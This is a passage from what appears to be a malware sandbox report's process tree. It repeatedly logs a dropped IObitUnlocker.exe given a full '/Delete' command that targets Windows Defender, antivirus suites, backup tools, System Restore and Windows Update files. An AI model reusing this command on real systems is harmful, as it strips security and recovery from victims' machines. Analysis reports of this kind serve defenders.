Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5936
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3048
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:396
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
